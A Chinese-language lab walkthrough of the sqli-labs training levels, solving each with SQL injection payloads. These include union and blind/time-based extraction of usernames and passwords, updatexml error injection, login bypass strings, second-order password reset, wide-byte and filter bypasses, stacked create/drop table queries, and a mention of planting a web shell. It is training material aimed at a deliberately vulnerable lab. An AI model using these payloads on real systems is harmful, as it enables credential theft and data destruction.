进入关卡内先判断是否存在注入情况,先输入?id =1 and 1=1,发现没有变化,换成and 1=2,依旧没有变化,考虑是为字符型而非整形。用 ’ 进行测试,发现页面报错,出现如下显示,证明可以进行SQL注入。
发现为字符型的后先在后面加一个注释符 --+
可以发现正常返回数据。
此处可以用 order by 对前面的数据进行排列,先进行试数,发现只有三组数据,'order by 4–+就会超出
然后就可以进行union联合注入
然后就可以获取所有的数据库,此时SQL的语句为:
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
即可获得数据库。
同理,可以获得security 数据库的数据表,此时的 sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n
ame),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1
第二题和第一题类似,先判断是否可以进行注入,先将 ’ 添加到数字中去,然后发现报错,说明可以进行注入。
现在执行的查询语句如下:
Select * from TABLE where id = 1’ ;
所以这里的奇数个单引号破坏了查询,导致抛出错误。因此我们得出的结果是,查询代码使用了整数。
Select * from TABLE where id = (some integer value);
现在,从开发者的视角来看,为了对这样的错误采取保护措施,我们可以注释掉剩余的查询:
http://localhost/sqli-labs/Less-2/?id=1–-+
然后对代码进行查看,发现对id没有进行处理,也就是没有用 ’ 处理id
用 order by 语句判断查询列数,试值可得 'order by 4- -+就会超出,因此只有三组数据。
然后对其进行union联合查询,判断显示位,为1,2,3
和第一题类似,获取数据库
同理可得,security表:
users表的列:
最后得到数据:
通过对错误的提示可知查询语句是:
Select login_name, select password from table where id= (‘our input here’)
所以用?id=1′) –-+代码进行注入,发现可以成功的获得用户名和密码
以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可
原理相似,先对数据库进行查询
再对其中的“security”数据库的数据表进行查询
获取users表的列
最后得到表中的数据
第四题的解题步骤和解题思路与前三题都差不多,首先判断是否可以进行sql注入,用?id=1" 进行尝试,发现出现报错页面:
对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。
所以我们再用这样的代码来进行注入: ?id=1”) –-+
成功得到用户名和密码,然后对其进行查询位列数和显示位,并查询所有的数据库
同上,“security”数据库的数据表:
获取users表的列:
最后得到表中的数据:
首先发现第五题和前四题的做题思路有不同,从源码中分析,考虑到可能是盲注,便对其进行盲注测试,首先利用 left(database(),1)进行尝试:然后发现不能正确显示。接下来可以看一下数据库的长度,发现长度为8时,返回结果正确,说明该数据库的长度为8
先猜测数据库第一位
Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当
我们不知情的情况下,可以用二分法来ᨀ高注入的效率。
猜测数据库第二位
得知第一位为 s,我们看前两位是否大于 sa
然后以此类推
要是获取这个表的第二位字符,这里使用 substr(**,2,1)即可。
此处 113 返回是正确的,因为第二个表示 referers 表,所以第一位就是 r。
然后即可利用 regexp 获取 users 表中的列
上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确
的。
利用 ord()和 mid()函数获取 users 表的内容
获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,
即为 D。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。
第六题和第五题大体上的思路事一致的,首先看源代码,发现当中有如下语句:
$id = '"'.$id.'"';
$ sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
说明了在id参数传参到服务器当中,对id参数进行了处理,故可以根据Less-5中的思路,将 ’ 换成 " 即可
猜测数据库第一位
然后以此类推
获取这个表的第二位字符
其余的内容和Less-5相似,就是将Less-5中的 ’ 改为 " 即可
第七题从题目名称中可以看出来这是一个文件导入的方式进行注入,观察源码可以发现
其中的一段源码为:$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
这里对 id 参数进行了 ‘))的处理。所以我们可以尝试’)) or 1=1–+进行注入
出现如下页面:
虽然sql出现报错,但是uuu.txt文件已经生成
故可以将一句话木马导入进去
用菜刀进行连接
通过尝试,发现.?id=2’ --+输入后回显正常
页面没有显示位,没有数据库报错信息。我们先尝试一下是否有file权限
上传成功
此题用布尔和时间盲注也可以
从题目信息可以看出这关要我们利用延时注入进行,同时 id 参数进行的是 ’ 的处理。
猜测数据库:
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
说明第一位是 s (ascii 码是 115)
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
说明第一位是 e (ascii 码是 101)
…
以此类推,我们知道了数据库名字是 security
猜测 security 的数据表:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是 e,…依次类推,得到 emails
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是 r,…依次类推,得到 referers
…
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
猜测 users 表的列:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
猜测 username 的值:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容
首先我们由标题即可看出和第九题有相似之处,同为延时注入,原理和第九条一模一样,只是把第九条的单引号改为双引号即可,其余内容可以参考Less-9
到这一题显示要输入正确的用户名和密码,要想获取用户名和密码,就要对其进行post注入。
先随便输入几次用户名(root)和密码(root)(随便输入):
发现出现报错,证明该用户名和密码是错误的,那么接下类用万能密码进行尝试,在Username一栏中输入:admin’or’1’='1#,密码随意。
提示密码输入正确,并将正确的用户名和密码显示了出来。
其实原理之前就探讨过,当我们ᨀ交 username 和 password 后,后台形成的 sql 语句为
@$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1# and
password='$passwd' LIMIT 0,1";
在#以后的内容就被注释掉,前面的内容因为 or 1=1 恒成立,所以语句就成立,我们此时以
admin 的用户登录。
第十二题和第十一题有些类似:
先进行尝试行输入用户名(root)和密码(root),发现报错
在此我们猜测是id发生了变化,于是向Username一栏输入admin" and 1=1 – -,Password一栏随便输入,出现如下报错:
从那一行蓝字我们可以得到提示,更改用户名为admin") and 1=1 – -,用户名和密码验证成功,所需原理和上一题一样。
来到第十三题,出现的页面和之前两道题一模一样:
于是我们可以延续前两道题的思路,先输入uesrname:admin’
password: 随便输,进行测试:
很明显,页面出现了报错,发现此方法不可行,但是由那一行蓝字我们可以得到提示:程序对 id 进行了 ‘) 的处理。
那我们这里可以用下布尔类型的盲注。
猜测数据库第一位Mysql 注入
uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit
第十四题和前几道题类似
于是我们可以进行测试,输入 username:admin”
可以看到报错了,那么我们知道了 id 进行了 ” 的操作。
这里和 less13 一样,主要是熟悉利用盲注。
简单列一下 payload:
uname=admin"and left(database(),1)>'a'#&passwd=1&submit=Submit
然后即可登录成功
拿到题,老规矩,先用admin" 进行测试,发现不返回错误信息
所以我们靠猜测进行注入。这里我直接从源代码中看到了 sql 语句
@$sql="SELECT username, password FROM users WHERE username='$uname' and
password='$passwd' LIMIT 0,1";
那这里对 id 进行 ‘ id’ 的处理。
本关我们利用延时注入进行。
猜测数据库名第一位:
uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Subm
it
正确的时候可以直接登录,不正确的时候延时 5 秒。
其他的 payload 自行构造。
本关我们的处理方法和 less15 是一样的,同样的使用延时注入的方法进行解决。这里直接从
源代码中看到对 id 进行 (“id”)的处理。
交的 payload:
uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Sub
mit
正确的时候可以直接登录,不正确的时候延时 5 秒。
其他的 payload 请自行构造。
先看题,和之前几道基本类似,但是也有点不同,通过题目可以看出来,这道题是修改密码的
于是我们可以填 Use Name: admin New Password:1‘ 进行测试
接下来利用盲注进行注入:
查库:uname=admin&passwd=11'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit
查表:uname=admin&passwd=11'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit
查列:uname=admin&passwd=11'and updatexml(1,concat(0x7e,(select column_name from information_schema,columns where table_name='users' limit 0,1)),1)#&submit=Submit
查字段:uname=admin&passwd=11'and updatexml(1,concat(0x7e,(select username,password from security.users limit 0,1)),1)#&submit=Submit
拿到题,先输账户与密码(这个账户与密码是根据第17题中所设置的密码,如果显示输入错误的话可以回到第17题从新设置账户和密码或者重置数据库也可),此处我默认的是admin/admin
如图所示:下面出现了一行ip地址和user—Agent,证明登录成功
下面我们可以进行查询:
查库:' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1),'','')#
查表:' or updatexml(1,concat(0x7e,(select column_name from information_schema,columns where table_schema='security' limit 0,1)),1),'','')#
查列:' or updatexml(1,concat(0x7e,(select column_name from information_schema,columns where table_name='users' limit 0,1)),1),'','')#
查字段:' or updatexml(1,concat(0x7e,(select username,password from security.users limit 0,1)),1),'','')#
这里就不一一展示了,和上题类似
来到第十九题,先看题目,大致和上一题类似,于是我们可以用admin,admin进行登录测试
登录之后显示登录成功,并在页面处出现了一行Referer,通过对其源代码进行分析,发现本题和上一题一样,都是要对其进行闭合操作
代码指令和第十八题一样,可以参照第十八题的代码
从标题可以看出这道题是cookie注入
先用admin admin进行登录测试
会发现有很多的提示,然后这里我们使用chrome中一个插件:cookie editor进行操作
将密码改为admin’ 再次进行测试
从下面的报错信息中我们可以得知其中存在漏洞可以注入
接下类就可以使用联合查询进行注入
从图示中我们可以看出,出现了security,于是我们可以按照上几题的思路对其表,列,字段进行查询,方法相似,就不在贴图演示
来到第二十一题,先用admin/admin进行登录
这里我们还用chrome浏览器中的那个插件cookie editor,
发现其value是一行乱码,对其进行分析我们可以知道,这是base64加密过的信息,于是我们可以用base64在线解码工具对其进行解码,得出的信息是admin,我们再观察源码可得,该题的闭合方式是’)
于是我们可以在bese64转换工具上先输入联合查询的语句,然后再加密成base64密文格式
然后将编号码的base64编码输入到cookie editor当中去,得到库名
同理我们可以对其的表,列,字段进行查询,这里就不在进行重复演示了
第22题,还是用admin/admin进行登录
(虽然这上面显示的是21,但是图确实是第22题的题目截图,别问为什么是21,问就是不知道)
这道题还是用cookie editor插件进行做题,我们那个value上可以看出还是使用了base64编码进行了处理,解码之后还是admin。我们通过观察源码可以得知,这道题是用’’
因此题目的解题过程和前一题基本一样,只是将’)换成’'即可,这里便不做演示了,有兴趣的可以自己再试试
第23关,按照要求输入?id=1,进行测试
由图我们可以看出我们的登录账号和密码
于是我们可以用单引号’ 进行注释,发现报错
于是我们可以推断出这里可以进行注入,于是我们用–+的注释符来进行尝试,发现不行,于是我们可以考虑用联合查询
login name 和password都出来了,接下来我们可以用查询语句对其表,列,字段等进行查询,接下来就和前几个题目比较类似了,这里就不做过多的演示。
来到第24关,我们先对其进行一个注册,用户名和密码均为admin,可以跳转到如下页面
返回最初的那个页面,然后重新注册一个账户,用户名为admin’#,用’#进行注释,密码设为123456
然后提示注册成功
接下类我们用admin’#这个账户进行登录,修改密码,然后提示修改成功
然后我们就可以用admin这个账户进行登录,但是密码我们就可以用上面admin’#这个账户重设的密码进行登录
显示登录成功
这里我们用到了二次注入的原理,二次排序注入也成为存储型的注入,就是将可能导致
sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
此例子中我们的步骤是注册一个 admin’#的账号,接下来登录该帐号后进行修改密码。此时修改的就是 admin 的密码。
Sql 语句变为 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’ , 也 就 是 执 行 了 UPDATE users SET passwd=“New_Pass” WHERE username =‘admin’
来到第25题,我们先用id=1对其进行测试,发现回显正常
于是我们考虑用’对其进行注释,发现页面报错,说明存在注入,而且应该是’闭合
可以发现order中的or被过滤了,所以出现了报错
我们查看一下源代码,可以发现25关将or和and都用空格代替
于是我们就可以按照老方法对其进行爆破(此处注意or要双写)
爆破数据表:
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破字段名:
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破字段的值:
?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users --+
第26题和第25题类似,通过观察源码我们可得,都是将or和and换成空格
唯一不同的是,25a的$id没有被包裹
先用id=1对其进行测试,回显正常
用联合查询查看回显位置
接下来的步骤就与25题一样了,可以参考25题的代码
第26题,先输入?id=1进行测试,结果正常
然后我们加上’进行注释,发现页面出现报错,说明可能存在漏洞可以注入,接下来我们用–+进行注释
页面依旧报错,而且下面的回显还不显示–+,我们再尝试一个比较不常用的注释符;%00,发现这次回显正常
观察源码我们可以得知,空格等符号全被替代了
于是我们这里可以考虑用xml的方法进行注入,使用语句:
updatexml(1,concat(0x7e,(database())), 1)
发现爆出了数据库,用相同类似的方法可以得到表名
updatexml(1,concat(0x7e,( select (group_concat(table_name)) from (infoorrmation_schema.tables)where (table_schema =0x7365637572697479))), 1)
(此处要注意infoorrmation中的or要双写)
同理,爆字段名
updatexml(1,concat(0x7e,( select (group_concat(column_name)) from (infoorrmation_schema.columns)where (table_name =0x7573657273))), 1)
updatexml(1,concat(0x7e,(select( group_concat (concat_ws(0x7e,username,passwoorrd)))from (security.users))), 1)
这道题跟前一道题非常的相似。在我们用?id=1进行测试,发现页面回显正常,用’注释,发现报错,我们再用;%00进行分割,发现依旧报错,这里我们观察源码可知
sql 语句为 SELECT * FROM users WHERE id=('$id') LIMIT 0,1
相较于上一题这里多了一个)对其进行包裹,于是我们便在payload上加上),再次进行测试,回显正常。
接下来的步骤就和前一题完全一致,分步对其数据库名,表名,字段名,字段值分别爆破,代码可以参考上一题的,这里就不再重复赘述。
来到第27题,老规矩,先用?id=1进行测试,回显正常,再用’进行注释,报错,说明可能存在注入。
这里我们直接观察源码
发现union,select等都被注释掉了,而且是大小写都被注释掉了,所以我们这里考虑使用大小写混写来进行绕过
可以看出数据正常返回,接下来还是老方法,依次对数据库,表名,字段名,值及进行爆破,这里只演示爆数据库,剩下的和之前一样,如有需要往上翻就行
来到关卡,先看源码
这里的id被" 进行了包裹,所以本关将前一题的‘换成"就行,这里就不再重复演示
来到关卡,先测试一下,先上?id=1 测试,显示正常
?id=1’再次测试,出现报错,说明可能存在注入漏洞
再看源码
发现被)进行了包裹,因此在后面加一个单括号)就可以了
然后就是和之前的操作差不多的
这里先只演示一个报数据库,剩下的内容和前面的一样样,还不会敲的翻前面的去。
来到关卡,先看源码,本题的对id的包裹和上题一样,都是用’进行包裹
再次观察源码可知,有部分的字符会被注释掉
所以这里我们和上题一样都使用’),剩余的步骤和上一题完全一样。
但是我们在这里可以尝试进行延时注入,
延时注入的代码是
http://47.100.118.240:8888/Less-28a/?id=11111’) %a0 or %a0 if( length(database())=8, 1, sleep(5) ) --+
或者是
http://47.100.118.240:8888/Less-28a/?id=1‘) %a0 and %a0 if( length(database())=8, 1, sleep(5) ) --+ 此时要确保前面的id值是可以查到的,不能使用一个不存在的id值。
这里我用的是第二个,仅供参考。
来到关卡,先看题目,老规矩对其进行id=1的测试,发现内容不报错,然后用’进行包裹,报错,用–+进行注释,回显正常,之后我们就可以对其轻车熟路的进行联合查询,得出最后的结果,本题就这样做完了。
就这样做完了吗?
仔细观察题目我们可以得知,其实第29关是用jsp搭建的服务器,所以建议在电脑中安装Jspstudy来安装Jsp的环境。
对于本题,我们要明白这里要输入两个参数id=1&id=3
接下来就是尝试寻找注入点,先在id=1后面加上’进行测试,发现回显报错,在id=3后面加入’后显示存在注入漏洞
打开数据库进行对比
发现第一个值的改变不影响我们数据的读取,所以我们只改变第二个数的值对其进行注入测试
这是长度测试
然后就用联合注入显示回显位置
接下来就是老方法了,我们在这里就不多进行赘述了。
来到关卡,先看源码。第30关和第29关的做法相近。
通过观察源码可以得出此题id的包裹方式为",所以这一题就将上一题的’改为"即可。
但是要注意,这一题没有报错回显,所以这道题不能进行报错注入。
来到关卡,先看源码。
观察源码发现包裹id的是")
这里我们发现报错,于是可以用–+进行注释
然后我们就还是老方法联合查询
剩下的还是老方法,这里就不在赘述了。
首先还是按照之前的老方法输入id=1来进行测试,发现正常回显,再加一个单引号也没有报错,但是加了一个\对后面的语句进行了注释。
于是我们可以在代码上加一个%df进行测试,发现报错。
用–+进行注释,注释后回显正常
接下来就是利用联合注入显示回显
之后都是和之前一样,对数据库,表名,列名等进行爆破,这里就不再进行重复演示,不会的可以翻翻上面的。
来到题目,先看源码,在32关使用的是自定义的过滤,本关则是使用PHP中的addslashes()函数,作用是addslashes()函数返回在预定义字符之前添加反斜杠的字符串。
所以由上可知本题可以使用宽字节注入的方法。
老规矩,先用id=1来进行测试,发现回显正常
用单引号进行测试发现回显也是正常的
接下来就加一个%df,后面要用–+进行注释,不然会报错
接下来就是用联合查询来查询位数,前面的一定要改为一个不存在的位数
剩下的就一次对数据库名,表名等依次爆破,不在重复演示了,需要的翻上面的代码。
来到关卡,先看题目。这一题发现题目的格式会有一些变化,为POST传参,所以这题的URL编码的用处就不大。
我们先用admin-admin正确的用户名和密码,返回姓名等信息。
我们打开源码观察发现,其中有一段代码是由addslashes()函数来处理的,于是我们这道题的解题思路可以参考上面那道题。
在username上一栏输入a%df’,在password一栏随便输入一个密码,这里输入的是aaaa,用burpsuite对数据进行抓包
我们观察burpsuite可以看出,%被解码了,于是我们直接在burpsuite上对其进行修改
接下来我们就能看见回显
下面的步骤就是老方法了,依次爆破就行,不再演示。
来到关卡,先看源码,我们可以惊奇的发现这道题的id没有用符号包裹,所以这道题就没有闭合方式
因此我们就可以按照正常的步骤依次对数据库,表名等进行爆破,这道题的难度要比上一道小很多。
来到关卡,先看源码。发现id被’进行包裹,所以我们还用id=1’进行尝试,发现被转译,于是我们可以用%df来将其注释掉,注意后面要用注释符–+来进行注释,返回正常
接下来我们就可以使用联合查询
回显出返回数据的位置。接下来就可以进行爆破操作了。
来到关卡,先看源码。本题和第34题的内容基本相近,本关只是将过滤的函数进行了替换,替换成了mysql_real_escape_string()函数,同样,我们就可以按照第34关的方法来做即可。
方法一就是我们可以用UTF-8的单引号’转化为UTF-16的单引号模式�,注意这里要用#进行注释
由此我们可以看出位置已经爆出。
还有一种方法和第34题比较类似,也是用burpsuite进行抓包,发现有二次转译,将%转译成%25,因此我们在burpsuite上将25删除再forward即可爆出位置。
来到关卡,先普及知识。在开始第38关之前我们要先来了解一个知识点叫堆叠注入,用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如 select ^ from users ; creat table caesar like users ;
这个指令就是在查询users的同时再创建一个名为casear的表,我们可以利用这个漏洞进行注入。
(这里只是我个人对堆叠的理解,方便大家理解用的,如果想看更详细更专业的解释可以看sqli-labs注入天书上的注解,天书可以从我上传的资料中找到下载使用)
学习了关于 stacked injection 的相关知识,我们在本关可以得到直接的运用。
我们可以通过观察源码来看发现id是由’进行包裹,于是我们使用id=1’
我们利用刚才学过的堆叠注入来对其进行尝试
这样我们就在MySQL中建立了一个casear的表
我们便可以利用这种堆叠造成的漏洞进行注入,删除表的话就将create改为drop即可。
来到关卡,先看源码,惊奇的发现源码中id并没有被包裹,于是还是和上一题一样用堆叠注入的方法进行操作,这里就不再重复演示了。
来到关卡,先看源码,发现id是由’)进行包裹,于是就将上一题的改为id=1’)即可,还是用堆叠注入的方法。
来到关卡,先看源码,这次我们又惊奇的发现这道题的id竟然也没有被包裹,那么有好奇的小伙伴可能就要问了,那不是这道题和第39题一样吗?经过我的仔细研究发现这两道题其实大有差距,当我输入id=1’进行试错的时候,39题会出现报错提醒而这道题没有,差别不大,那我们还是按照第39题的方法使用堆叠注入。
来到关卡,先看题目。这道题会惊奇的发现和之前几道题有所不同,这道题是由post传参。那我们先观察源码
在这里我们可以观察到username用了mysqli_real_escape_string()这个函数,在之前的题目中我们见过这个函数,这个函数就是将’进行注释,但是我们又发现在password中什么也没有,所以我们猜测可以在password当中进行注入。
我们首先肯定是要用admin来进行尝试
如果在接下来的操作中觉得原来的密码为·的不太方便我们可以修改一下方便我们观察
在F12中的type=password改为type=test即可
接下来我们就可以使用和前几关一样思路的堆叠注入在password栏上,输入a'; create table caesar like users; #
,username可以随便输入
login后虽然出现了报错的界面,但是别慌,这时候打开MySQL进行查看
我们会惊奇的发现在数据库中我们已经将表caesar写入到数据库中,这下我们就可以利用这个漏洞进行注入,在注入完成后用drop table caesar; #将casear表删除即可。
来到关卡,先看源码。本题的做题思路是和前一题差不多的,在我们观察login源码,发现了password被’)进行了包裹
那么我们就可以在上一题的password中加上’)即可。在password一栏中输入a'); create table caesar like users; #
,username可以随便输入,下面的就不在重复演示了,和上一题基本一样。
来到关卡,先看源码。这关发现和第42关是一样的,其实这一关就是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与 42 关的区别就在于没有报错信息。其余的和第42关没有什么区别,咱们就当成第42关来做就好了。
来到关卡,先看源码。这关发现和第43关是一样的,这一关也是基于盲注来进行测试的,也是没有报错信息,但是我们还是可以完全按照第43关的方法来做。划水完毕。
来到关卡,先普及一个知识,在数据库中,desc是表示降序排列,asc表示升序排列
这个就是按照第一列的数值进行升序排列,从1-14依次排列。
这就是按照第2列的数值降序排列,由s到a依次排列。
显示从左开始数据库名称的第一个字母
left(database(),1)
显示从右开始数据库名称的第一个字母
right(database(),1)
好,有了如上的知识普及我们就可以来做这第46题了。在做题之前来让我们花一点点时间来读一下题目,利用这小学二年级的英语水平能看出来题目这是在提醒我们用sort,不要再习以为常的输入id=1了
那么我们就可以在hackbar上,输入?sort=1/2/3依次来测试,因为只有三列我们就可以通过这个来改变每一列的排序
综上我们就知道sort就是一个注入点,那我们可以先来用联合查询进行尝试,发现并不可以之后我们就有两种解决方案,一种是报错注入,一种是延时注入。
我们先来说报错注入,还是和前面的基本一样
?sort=3 and updatexml(1,concat(0x7e,(database())),1)--+
这样我们就爆出了数据库的名,接下来就是表名爆破等等,不再演示。
我们再来说说延时注入
?sort=3 and if((length(database())=8),1,sleep(5))--+
出现明显延迟
剩下的步骤和之前的都差不太多,不会的翻翻前面的内容,这里就不在做过多的演示。
来到关卡,先看源码,在观察源码的时候我们可以发现这道题和上一道题的不同之处在与闭合方式不同,这道题的闭合方式是单引号闭合,也就是说在上一题的基础上加上单引号即可
?sort=3' and '1'='1
闭合成功
剩下的步骤和前一题基本一样,也是会有两种做法,一种是报错注入一种是延时注入,大家看那种方法比较熟悉就用那种方法即可。
来到关卡,先看标题。这道题的标题写的很清楚,就是基于盲注的,所以这道题没有报错回显,我们也就不能利用报错注入进行做题了,只能使用延时注入,做题步骤和第46题的方法二一致。
来到关卡,先看标题。这道题的做题方法也是基于延时注入的盲注,报错注入在这里行不通滴,还有就是观察源码发现这道题是单引号闭合,so,这道题和第47题基本一样,这里不再过多演示。
来到关卡,先看源码。我们观察源码发现,这道题和前几道题的源码中有那么一点点的不一样,这道题用了mysqli_multi_query()这个函数
这个函数的意思我们就可以查询一下
所以说,这道题我们就可以想前几关一样使用堆叠注入的方法进行测试。
(关于不同的函数所表示的意思大家可以点这个链接对其有所了解https://www.runoob.com/php/php-ref-mysqli.html )
来到关卡,先看源码。这道题还是用单引号进行闭合,所以和前一题一样,就是使用单引号进行闭合即可。
来到关卡,先看标题。标题提示我们这道题用的是盲注,所以没有错误回显不能使用报错注入,要使用延时注入来完成这道题。
来到关卡,先看标题源码,标题提示使用盲注,源码显示要用单引号闭合,剩下的基本一样。
来到关卡,先看题目,用我们小学二年级的英语水平来阅读一下这题的条件,大致意思是讲这道题有10次的试错机会,玩法和CTF比较类似,通过手段拿到最终的flag然后交到下面的空格中,通过即为挑战成功,话不多说,直接开干。
先看源码,我们发现这道题的闭合方式是用了单引号,这样可以帮助我们少走弯路,节省试错机会。
返回的提示说明我们闭合成功,那么我们就查询位数,可以发现这个有三位(这里可以使用二分法进行猜测,大大减少试错机会)
得知我们有三列之后我们这里就用第3列进行注入
这里我们就得出了表的名字8fr3fv1qkl,再对列进行爆破
得到列的名字,secret_XVTE,最后爆出key,提交这道题就通过了
来到关卡,先看题目,这道题比上一道题较人性化了那么一内内,给了14次试错的机会。霸特,经过我们上一道题的经验,再加上我们观察源码可以看出,这道题的和上一道题的差别在于这道题用的是单引号闭合,所以就在上一题的基础上使用单引号闭合就OK了,这里就不在演示了。
来到关卡,先看源码,从观察源码我们可以知道这道题和之前的两道题又有那么一内内的变化,这道题的闭合方式为’),所以大致步骤和前两道题一样,自己可以练习练习。
来到关卡,先看源码,这道题又和前几道有那么一点点的不一样,这道题的闭合方式是",因此注意使用双引号闭合就OK了。
来到关卡,先看题目,这道题只给了5次的机会,经过尝试过后,我们发现这道题不能使用联合注入来做,那我们还依旧使用报错注入,第一步就是爆表名
我们就可以得出了表名u577vi2so3,然后就是爆字段名
最后一步得出key
提交成功
来到关卡,先看源码。通过观察源码我们可以发现这道题和前一道题的区别在于这道题没有用字进行包裹,其余的步骤和前一道题基本一致。
来到关卡,先看源码,这道题的区别在于这道题使用“)进行闭合,其余的步骤都一样。
来到关卡,先看源码,这道题的区别在于这道题使用’))进行闭合,其余的步骤都一样
来到关卡,先看标题,这道题的标题都很清楚的提示了这道题要用到盲注,通过观察源码我们可以知道这一关的闭合方式是’),所以我们就还用到我们之前学到的if(length(database()>1),1,sleep(5))
来进行盲注即可。
来到关卡,先看源码,从源码中我们可以看出这道题的闭合方式是’进行闭合,其余的步骤都和上一道题大差不差。
来到关卡,先看源码,从源码中我们可以看出这道题的闭合方式是))进行闭合,其余的步骤都和上一道题大差不差。
来到关卡,先看源码,从源码中我们可以看出这道题的闭合方式是’)进行闭合,其余的步骤都和上一道题大差不差。
结语:这个sqli-labs在此终于完结撒花,通过这个也让我这个新手小白从不懂到懵懂到略懂,成长了不少,在完成这些关卡的同时也有借鉴过sqli-labs的作者写的sqli天书,那里面的知识内容很丰富,我也上传到了我的博客,有兴趣的可以下载下来观摩,还有就是B站up主crow的视频,给我提供了很多的解题思路和做题方法,特此鸣谢。